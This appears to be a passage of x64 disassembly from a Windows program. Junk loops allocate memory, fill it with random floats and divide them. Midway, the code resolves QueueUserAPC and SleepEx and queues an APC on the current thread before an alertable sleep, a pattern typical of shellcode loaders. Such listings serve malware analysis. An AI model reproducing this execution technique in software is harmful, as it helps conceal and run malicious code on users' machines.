movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x5d8]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x43
jle 0x1400028ac
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x1d
jle 0x14000289d
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5d8]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7f0], 1
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x451
jle 0x14000258e
mov rax, qword [rbp + 0x658]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x620]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x618]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x614], 0
mov ecx, 0x6d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov ecx, 0x6d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov ecx, 0x6d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
mov dword [rbp + 0x7bc], 0
jmp 0x140002b92
mov dword [rbp + 0x7b8], 0
jmp 0x140002b7e
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x608]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x600]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0x12
jle 0x140002ab5
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x16
jle 0x140002aa6
mov dword [rbp + 0x7bc], 0
jmp 0x140002c81
mov dword [rbp + 0x7b8], 0
jmp 0x140002c6d
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x608]
add rdx, rax
mov eax, dword [rbp + 0x7b8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x600]
add rdx, rax
mov eax, dword [rbp + 0x7b8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x5f8]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0x12
jle 0x140002bbd
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x16
jle 0x140002bae
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x600]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
movups xmm6, xmmword [rbp + 0x820]
add rsp, 0x8b8
pop rbx
pop rsi
pop rdi
pop rbp
ret